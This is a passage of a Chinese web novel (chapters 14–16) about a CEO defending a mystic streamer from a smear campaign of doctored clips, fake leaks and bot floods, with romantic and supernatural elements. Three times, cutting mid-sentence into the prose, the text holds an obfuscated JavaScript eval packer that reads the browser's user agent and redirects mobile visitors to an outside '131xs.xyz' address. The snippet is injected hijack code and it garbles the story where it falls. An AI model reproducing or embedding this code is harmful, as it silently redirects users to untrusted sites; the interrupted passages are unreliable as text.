【卧槽？这是简素？早期这么拽？】 【果然人红了就暴露本性了？之前都是装的吧！】 【这态度也太差了！脱粉了！】 【我就说是剧本吧！现在装不下去了！】 【一看就是恶意剪辑，断章取义！】 【前面洗地的够了，视频摆在这还不认？】 紧接着，另一个号称“星耀娱乐前员工”的匿名小号开始在网上发帖，爆料简素雇佣水军、数据造假。 帖子里言之凿凿，声称简素早期直播根本没人看，全是公司买的机器人弹幕和廉价水军刷量，还附上了一些模糊不清的、疑似后台数据的截图，以及一些所谓“水军”的聊天记录截图，头像名字都打了厚码，内容无非是：这个主播的单子接了，老规矩刷。 帖子还深扒了简素原身过去的黑历史，比如在某低成本网剧里演技尴尬的片段截图，唱歌跑调的比赛视频，甚至还有她以前在社交媒体上发的一些略显非主流、无伤大雅但此刻被无限放大的幼稚言论。 【原来以前这么糊这么差劲啊？】 【怪不得现在要立玄学人设，正常路子红不了呗！】 【水军实锤了！怪不得突然火了！】 【公司真舍得下血本捧啊！】 【取关了取关了，恶心！】 这些黑料来势汹汹，看似证据确凿，瞬间在网络上掀起巨浪。不少路人被带了节奏，开始跟风嘲讽质疑。简素的微博评论区一度沦陷，充斥着各种辱骂和负面言论。就连《奇遇之旅》的弹幕和评分也受到了一些影响。 “顾总！舆论失控了！”公关部经理额头冒汗，再次冲进顾延办公室，“现在不仅仅是质疑内容，开始人身攻击和造谣了！那个早期直播视频是恶意剪辑的，原片我们调出来了，根本不是那么回事！还有那个前员工，根本查无此人！” 顾延看着屏幕上那些不堪入目的言论，脸色冰寒。他早就料到会有这么一出，但没想到对方手段如此低劣。 “律师函立刻公开发布，针对那几个带头造谣传谣的营销号和个人账号，直接起诉，不走调解程序。”顾延声音冷冽，“技术部呢？分析结果出来没有？” “出来了！”技术部负责人连忙汇报，“已经完成了对那段恶意剪辑视频的逐帧技术分析报告，包括原始帧率、音频波形对比、剪辑点标记，完全可以证明是恶意拼接。还有那些所谓的水军数据截图，PS痕迹明显，格式和逻辑都与真实后台数据不符。分析报告已经准备好了。” “很好。”顾延点头，“把技术分析报告做成通俗易懂的长图文和短视频，联系所有合作的媒体和渠道，立刻发布出去。重点突出恶意剪辑和伪造证据。” “另外。”他补充道，目光扫过那些关于简素过去黑历史的帖子，“收集简素参加《奇遇之旅》以来，所有体现其观察力、分析逻辑和共情能力的正面片段，特别是她帮助梁晖、开导连线 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16288822|181740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 观众的内容，做成集锦大面积推广。让大众视线重新聚焦到她的正面本身，而不是那些被恶意挖掘的过去。” “至于演技和唱歌……”顾延顿了顿，似乎想到了什么，嘴角勾起一丝冷嘲，“发个声明，坦承简素女士在表演和声乐方面确非专长，因此她及时调整了发展方向，专注于自身擅长的领域——生活观察与心理疏导，并取得了显著成效。这恰恰说明了她勇于面对不足、善于发掘自身优势的特质。” 公关部经理眼睛一亮：“明白了顾总！我立刻去办！” 高效的危机公关机器迅速运转起来。 很快，星耀娱乐的官方声明和律师函率先发布，态度强硬，直指恶意造谣。 紧接着，一系列技术分析长图文和视频被投放市场，用详实的数据和专业的对比，将那所谓实锤视频的剪辑痕迹扒得底裤都不剩，直观地展示了如何通过剪切、拼接、扭曲语境来制造谎言。 同时，简素在节目中的高光时刻集锦开始广泛传播，她冷静的分析、精准的预言、以及带给他人的积极改变，与那些恶意剪辑形成的反差极其强烈。 理性的声音开始占据上风： 【我就说是剪辑的！这打脸来得太快！】 【技术流牛逼！黑子脸疼吗？】 【笑死，黑演技黑唱功？人家现在又不靠这个吃饭！大师靠的是脑子！】 【看看梁影帝和那个千金小姐姐的反馈，这才是真正的实锤！】 【黑不动能力就开始挖黑历史，手段太low了！】 【支持简素！支持公司告到底！】 舆论的风向，开始悄然逆转。 而身处风暴中心的简素，在录制间隙得知这一切时，只是微微挑了挑眉，对周铭说：“周哥，能帮我找个好点的声乐老师吗？说不定下次综艺让他们唱歌，我还能抢救一下，少丢点人。” 周铭：“……”祖宗！这是关注声乐老师的时候吗？！ 15. 第15章 顾延坐在办公室里，屏幕上是公关部刚刚发来的舆情好转报告。虽然负面声音仍未完全平息，但局势已然可控，支持简素的声音重新成为了主流。 他揉了揉眉心，连续的高强度工作和精神紧绷让他感到一丝疲惫，但一种奇异的、守护了某种重要东西的满足感，却悄然弥漫开来。 他点开微信，看着和简素的对话框。上一次对话还停留在他让她专心录制。 鬼使神差地，他发过去一条消息： 【网络上的言论，不必在意。】 发送成功后，他又觉得这话有点干巴巴，补充道： 【公司会处理所有不实信息。你的价值不在于过去的不足，而在于现在的不可替代性。】 这话发出去，他盯着屏幕，心里莫名有些忐忑，像是在等待一份重要的项目评估反馈。 几分钟后，简素回复了。 【谢谢顾总肯定。声乐老师的事，麻烦您让周哥尽快安排？我觉得我的跑调还有很大的科学改进空间。/微笑jpg.】 顾延看着这条回复，先是愣住，随即差点气笑——他在这边调动全公司资源为她灭火，她居然一心想着找声乐老师？还科学改进空间？ 但莫名的，那份因她而起的紧绷感，就因为这句看似不着调的话，忽然松弛了下来。 他都能想象出她发这条消息时，那副平静无波、甚至有点认真的表情。 【……我会让周铭安排。】顾延无奈地回复，嘴角却不由自主地牵起一个极小的弧度。 这时，内线电话响起，是技术部负责人。 “顾总，我们追踪那几个最早发布伪造数据截图的源头IP，虽然对方用了多层跳板，但最终锁定了一个区域，与锐光传媒旗下的一个子公司办公地址高度重合。还有，那些水军公司的资金流水，虽然几经周转，但也有线索指向锐光关联的几个空壳公司。” 顾延眼神瞬间冷了下来：“证据链固定完整，整理成报告。暂时不要对外公布。” “是，顾总。” 挂了电话，顾延眸色深沉。锐光传媒……果然是他们在背后搞鬼。商业竞争，却用这种下三滥的手段抹黑一个艺人，实在令人不齿。 他正思考着如何反击，王秘书敲门进来，脸色有些奇怪。 “顾总，楼下前台说，有一位姓张的先生指名要见您，说是……关于简素小姐的事情，有重要情况反映。”王秘书顿了顿，“对方看起来不像媒体，也不像业内人士，态度有点急切，甚至慌张。” 顾延皱眉：“姓张？什么人？” “他不肯说，只说是私事，必须当面跟您谈，还说……还说什么‘再不说就来不及了’。” 顾延沉吟片刻。 “带他去小会议室，我马上过去。” 小会议室里，坐着一个看起来三十多岁、衣着普通、面色焦虑甚至带着恐惧的男人。他一见到顾延进来，立刻紧张地站了起来，手足无措。 “顾……顾总您好，我姓张。”男人声音有些发抖。 “张先生，请坐。你说有关于简素的重要情况？”顾延坐下，语气平静却带着压迫感。 张先生咽了口唾沫，像是下定了很大决心：“顾总，我……我是之前在网上爆料那个……那个所谓‘内部消息’的人之一……其实我不是什么前员工，我是收了别人的钱，按照他们给的稿子发的帖子……” 顾延目光一凝：“谁给你的钱？” “是……是一个叫‘刘哥’的人线上联系我的，钱也是通过网络转账，我不知道他真名叫什么。但是他当时给我看的资料里，有一些……有一些关于简素小姐早期的事情，很……很私密，不像外人能知道的……”张先生越说越害怕，“我本来以为就是普通的黑料，赚点快钱，但是最近看到事情闹这么大，星耀还要告……我害怕了！而且……而且……” 他声音压得更低，带着一丝诡异：“而且我这两天老是做噩梦，梦见……梦见有人掐我脖子，说我泄露天机要遭报应……醒来就发现脖子上真的有红痕！顾总，我错了！我不该贪那点钱！您高抬贵手，别告我了行不行？我把钱退回去！我把我知道的都告诉您！” 顾延听着这番话，眉头越皱越紧。收钱黑人，这是意料之中。但所谓的私密资料和这男人描述的噩梦、红痕…… 是心理压力过大产生的幻觉？还是……另一种他无法理解的可能？ 他不动声色地打开手机录音功能：“把你知道的关于那个‘刘哥’和所谓‘私密资料’的所有信息，详细说一遍。” 张先生如同抓住了救命稻草，倒豆子般把自己知道的一切都说了出来，包括虽然很可能已经废弃的联系方式、转账记录、以及那些私密资料的大致内容——确实涉及一些原身简素早期不为人知的、略显狼狈的生活细节。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16288823|181740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顾延仔细听着，大脑飞速运转，判断着信息的真伪和价值。 “……就这些了，顾总，我真的就知道这些了！”张先生说完，几乎要虚脱。 “你的情况我知道了。”顾延沉声道，“如果你提供的线索有价值，并且愿意配合我们后续调查，我可以考虑不追究你的法律责任。但你需要签署一份承诺书，并随时配合我们。” “好好好！我签！我配合！”张先生连连答应。 让王秘书带张先生去办理相关手续后，顾延独自坐在会议室里，看着录音文件，神色凝重。 这个突然倒戈的爆料者，提供的线索直指锐光，也证实了对方手段的卑劣。那些私密资料的来源，更是值得深究，公司内部是否需要清查？ 而那个噩梦和红痕…… 顾延用力按了按太阳穴。 理智告诉他，这极大可能是对方心理素质太差，在巨大的心理压力和恐惧下产生的臆想和生理反应。 但为什么偏偏是这个时候？偏偏是在抹黑简素之后？ 他又想起了梁晖的意外、连麦千金的桃花、还有简素那总是平静淡然、仿佛一切尽在掌握的眼神…… 那个被他强行压下的、关于超自然可能性的念头，再次顽固地冒了出来。 他拿出手机，点开科学文献数据库，犹豫了一下，他需要更多的理论来武装自己，来解释这一切。 否则，他怕自己某一天，会真的开始相信，那个女人的身边，确实萦绕着一些……科学暂时无法解释的规则或力量。 而此刻，民宿里的简素，刚刚结束今天的录制。 她回到房间，随手打开手机，看到了关于黑料反转的新闻。 她笑了笑，放下手机，走到窗边。 窗外月色如水。 她能清晰地感知到，那些针对她的、充满恶意的浊气正在缓慢消散，如同被阳光蒸发的露水。取而代之的，是一种更加凝聚的、来自众多支持者的微弱愿力，其中还夹杂着一丝……极其熟悉的、带着冷冽雪松气息的、笨拙却坚定的守护意念。 她轻轻吸了口气，灵台一片清明。 魑魅魍魉，终究见不得光。 她拿起手机，给顾延回了条消息： 【顾总，听说有人做噩梦了？需要我提供一些安神助眠的科学小技巧吗？比如睡前喝杯热牛奶，或者听听白噪音？】 16. 第16章 星耀娱乐的强硬声明和技术打假，如同在沸腾的油锅里滴入冷水，虽然暂时压制了火势，却也激起了更剧烈的反弹。 那些隐藏在暗处的推手，显然不会就此罢休。他们深知，在舆论场上，有时候真相并不重要，重要的是声量、是情绪、是不断重复的谎言。 更多的黑料，以更密集、更无孔不入的方式涌现出来。这一次，他们不再局限于简单的恶意剪辑和伪造截图，而是采用了更狡猾的策略。 无数个新建的小号、僵尸号开始在各个平台、简素及相关话题的评论区疯狂刷屏，内容高度统一： 【假的！！都是水军！！】 【星耀水军进场了！大家看清楚！】 【有钱真好，热搜包年，水军包圆！】 【评论区的好评都是刷的！不信点开主页看！】 【抱走我家哥哥姐姐，不约！抵制劣迹艺人简素！】 【举报了！联合炒作，虚假宣传！】 这些账号点进去，要么是刚注册的空号，要么是内容稀少的僵尸号，但它们数量庞大，不知疲倦地复制粘贴着同样的言论，瞬间就能淹没任何理性的讨论。它们不争论具体事实，只是简单粗暴地定性、抹黑、制造出一种“所有人都在反对简素”、“支持她的都是水军”的假象。 这种铺天盖地的、毫无技术含量的刷屏行为，极其恶心人，也极易误导那些没有耐心去辨别、容易从众的路人。 【哇，这么多人说水军，难道真的是？】 【吓人，这控评力度……】 【虽然觉得简素有点东西，但这水军也太多了吧？观感不好。】 【路人，感觉有点恐怖，先避雷了。】 同时，几个看似中立的测评号、数据观察号开始发布所谓的数据分析帖，用一些看似专业实则经不起推敲的图表，煞有介事地分析简素社交账号的互动数据、直播间流量，指出其粉丝增长曲线异常、互动用户中僵尸粉比例偏高、某些时段流量不符合自然规律等等。 这些帖子打着理性探讨的旗号，实则充满暗示和误导，将星耀娱乐正常的宣传推广和真实粉丝的支持，统统打为水军和数据造假。 【看吧！数据大神都出来石锤了！】 【果然都是泡沫！】 【这年头，什么都能造假！】 【取关了，没意思。】 真正的粉丝和支持者奋力反驳，但他们的声音往往很快被海量的重复刷屏所淹没，甚至被扣上水军、脑残粉的帽子。舆论场变得乌烟瘴气，仿佛陷入了一场无法沟通、只有立场对立的混战。 “顾总！对方改变策略了！现在主要是大规模水军刷屏和伪数据抹黑！”公关部经理焦头烂额，“这种打法很无赖，很难精准打击，而且非常破坏路人缘！” 顾延看着监控屏幕上那一片狼藉的评论区和各种数据分析帖，脸色阴沉得能滴出水。他当然知道这是对手的恶心战术，目的就是搅混水，消耗大众的耐心和好感。 “技术部，能追踪到这些刷量僵尸号的源头和集群特征吗？”顾延冷声问。 技术部负责人立刻回答：“正在分析！这些账号来源很杂，多个平台同时爆发，协同行动，背后肯定有统一的指挥和资源池。我们已经抓取了一批典型样本进行深度分析，试图找到共性特征和指挥链的蛛丝马迹。但需要时间！” “我们没有太多时间！”公关经理急道，“这种负面印象一旦形成，很难扭转！” 顾延沉默片刻，手指快速敲击桌面，大脑飞速运转。 “立刻做以下几件事。”他果断下令，“第一，技术部优先出一份简明扼要的《关于识别网络水军僵尸号的特征说明》图文，用最直观的方式教用户如何辨别真实用户和僵尸号，比如账号创建时间、内容空白、重复发言等等。” “第二，发动我们合作的所有正能量大V、粉丝后援会，不要再去和黑评纠缠，集中发布简素在节目中的高光时刻、帮助他人的真实案例，用#看见真实##拒绝网络暴力#等话题，刷正面广场！用真实和善意对冲恶意和虚假！” “第三，”顾延目光锐利，“让法务部直接向各大平台发送正式函件，依据最新法律法规，要求他们立刻清理涉及简素女士的明显水军刷屏内容和恶意造谣账号，并提供后台数据配合我们追查源头。态度要强硬，引用法条要准确！” “第四……”他顿了顿，看向公关经理，“以我的名义，准备一份简短声明。” 不久后，星耀娱乐官方微博再次发布声明，但这一次的落款，是星耀娱乐有限公司CEO顾延。 声明非常简短，没有长篇大论的解释，只有冷静而坚定的几句话： “致所有关注者：星耀娱乐坚决反对任何形式的网络暴力和数据造假行为。我司艺人@简素不吃素所获得的一切关注，均源于其自身的独特价值和真诚分享。目前网络上的大规模恶意刷屏和诽谤，已涉嫌违法，我司已全面取证并启动法律程序。清者自清，浊者自浊。” 这是顾延第一次就旗下具体艺人的事务，以个人名义公开发声。 这份简短却分量十足的声明，如同一颗定心丸，瞬间稳住了粉丝和观望路人的心。 【顾总亲自下场了！】 【卧槽！老板霸气！】 【支持顾总！告死那些黑子！】 【看到没！老板都说清者自清！】 【顾总：我看谁还敢黑我的人】 【莫名有点好磕是怎么回事……】 同时，技术部出的辨别水军指南被广泛传播，越来越多的人开始学会识别那些复制粘贴的僵尸号，并对这种恶劣的刷屏行为产生逆反心理。 正面广场的话题下，温暖的鼓励和支持逐渐汇聚成流，开始艰难地抵抗着污浊的刷屏浪潮。 各大平台在星耀娱乐的强硬态度和法律压力下，也开始陆续清理一些过于明显的恶意账号和言论。 舆论的混战，似乎暂时陷入了一种焦灼的拉锯状态。 民宿房间里，简素刚结束和顾延的通话。顾延言简意赅地告知了她目前的情况和公司的应对措施，让她安心录制，不必理会外界纷扰。 她放下手机，走到镜子前。 镜中的脸依旧苍白平静，但她能清晰地看到，周身原本纯净温和的愿力场，正被无数丝丝缕缕、充满怨毒、嫉妒和恶意的黑色秽气缠绕、冲击着。这些秽气来自网络上那些匿名的恶意，虽然无法直接伤害她，却也在不断试图污染和消耗她的能量。 她轻轻哼了一声，指尖无意识地在空中划过一道极其细微、几乎看不见的流光。那些试图靠近她的黑色秽气像是被无形的屏障挡开，稍稍淡去了一些，但很快又有新的补充上来。 “魍魉之辈，也只敢躲在阴沟里吠叫了。”她低声自语，语气里带着一丝淡淡的嘲讽，却并无多少恼怒。 这种场面，她见得多了。人心之恶，有时比什么煞气都更难化解。 她打开直播平台，没有开播，只是看着那个灰色的、显示离线的头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16298563|181740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像。 忽然，她心念微动，拿起桌上节目组准备的一小盆绿植盆栽——一株生机勃勃的绿萝。 她伸出指尖，极轻地触碰了一片翠绿的叶子，一丝微不可察的、温和的灵力缓缓渡入。 然后，她拿出手机，对着这盆绿萝拍了一张照片，发给了顾延。 【顾总，鉴于近期网络环境污浊，建议在办公室摆放此类绿植。经科学研究表明，绿色植物能有效吸收负面电磁波……呃，缓解视觉疲劳，净化心情。】 发送成功后，她想象着顾延收到这条消息时可能出现的、那种又想反驳又无可奈何的表情，忍不住轻轻笑了起来。 或许，她也可以用自己的方式，给他一点点属于她的反馈。 而此刻，正在办公室里审阅法律文件的顾延，听到手机提示音，拿起来看到这条消息和那张绿意盎然的图片，愣了一下。 他盯着那行字看了几秒，目光尤其是“净化心情”四个字上停留了片刻。 然后，他放下手机，沉默了一会儿，忽然按下内线电话。 “王秘书，明天让行政部送几盆绿萝……不，多送几盆不同的绿植到我办公室。还有，公关部和技术部那边，也都送一些过去。” 王秘书：“……好的，顾总。” 在一众黑料当中，有显微镜女孩发现了直播回放里的古早糖！ 某次晚间直播时，简素在直播中讲解办公桌物品摆放与工作效率的非线性关系，实则暗合文昌位布局，期间需要观众分享自家桌面照片。 随机抽取连线时，一个极其眼熟的、简洁到只有一台电脑一个杯子一摞文件的桌面一闪而过，连麦ID却是一串默认数字。 虽然连麦立刻被对方挂断，但眼尖的网友已然截屏放大！ 新鲜弹幕瞬间爆炸： 【？？？这桌面！这性冷淡风！这昂贵的钢笔！是我顾总的办公室吗？！】 【卧槽！默认ID！是他是他就是他！我们神秘的已阅大佬！】 【顾总居然真的在看直播！还参与了抽奖不是！】 【大佬手速快啊！心虚秒挂！】 【居然抽到了自家老板！】 更绝的是，有技术流网友回放时发现，在连麦接通、简素看着那张桌面照片微微挑眉的瞬间，直播画面角落的实时小窗口里，恰好拍到了路过监控屏幕的顾延本人—— 他正看着屏幕，金丝眼镜下的眉头习惯性蹙起，但嘴角却极其可疑地、微微向上弯了一个像素点！虽然瞬间就恢复了冷峻，但已经被万能的网友做成了逐帧GIF！ 于是，评论区沦陷了： 【截图.jpg顾总这个表情！是不是被老婆抓到现形然后不好意思了？！！】 【楼上会说就多说点！什么叫老婆抓现形！/狗头保命】 【顾总：我只是在监督员工工作。嘴角：不，我不是。】 【《关于我的唯物主义老板偷偷蹲我直播间还差点被连麦这件事》】 【大佬：稳住，人设不能崩。手：不，我要挂断。】 【顾延，一款嘴硬身体很诚实的顶级乐子（划掉）守护者。】 【建议顾总下次用公司官方号看，默认ID属实有点掩耳盗铃了哈哈哈哈！】 【@星耀娱乐，给老板配个VIP号吧！求求了！】 后来该片段被疯传，成为“延素”CP粉经典考古素材之一。据星耀内部不愿透露姓名的员工表示，那天之后，顾总办公室的百叶窗拉得更严实了。